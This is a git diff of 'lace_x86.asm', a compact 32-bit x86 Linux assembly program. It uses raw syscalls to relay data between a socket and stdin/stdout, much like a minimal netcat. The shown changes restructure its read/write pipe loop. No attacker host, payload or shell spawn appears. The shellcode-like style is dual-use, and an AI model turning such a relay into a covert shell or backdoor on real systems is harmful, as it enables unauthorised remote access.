diff options
Diffstat (limited to 'lace_x86.asm')
| -rw-r--r-- | lace_x86.asm | 29 |
1 files changed, 13 insertions, 16 deletions
diff --git a/lace_x86.asm b/lace_x86.asm index 1cf1e85..1608ba2 100644 --- a/lace_x86.asm +++ b/lace_x86.asm @@ -86,11 +86,10 @@ _start: mov al, 0x66 int 0x80 - xor esi, esi ; pipe(sock_fd, stdin) - pop edi + pop edi ; pipe(fd, stdin) + mov ecx, esp call pipe - - inc esi ; pipe(stdout, sock_fd) + inc esi ; pipe(stdout, fd) xchg edi, esi call pipe @@ -98,20 +97,18 @@ _start: inc eax int 0x80 +pipe_loop: + mov edx, eax ; write(edi, ecx, eax) + mov ebx, edi + mov al, 0x04 + int 0x80 + pipe: - mov dl, 0xff ; read(src, buff, sizeof(buff)) - lea ecx, [esp+4] + mov dl, 0xff ; read(esi, ecx, 0xff) mov ebx, esi - mov al, 3 + mov al, 0x03 int 0x80 - cmp eax, 0 ; if finished/error, return - jg pipe_cont + cmp eax, 0 ; eof/error, return + jg pipe_loop ret - -pipe_cont: - mov edx, eax ; write(dst, buff, nb) - mov ebx, edi - mov al, 4 - int 0x80 - jmp pipe ; loop |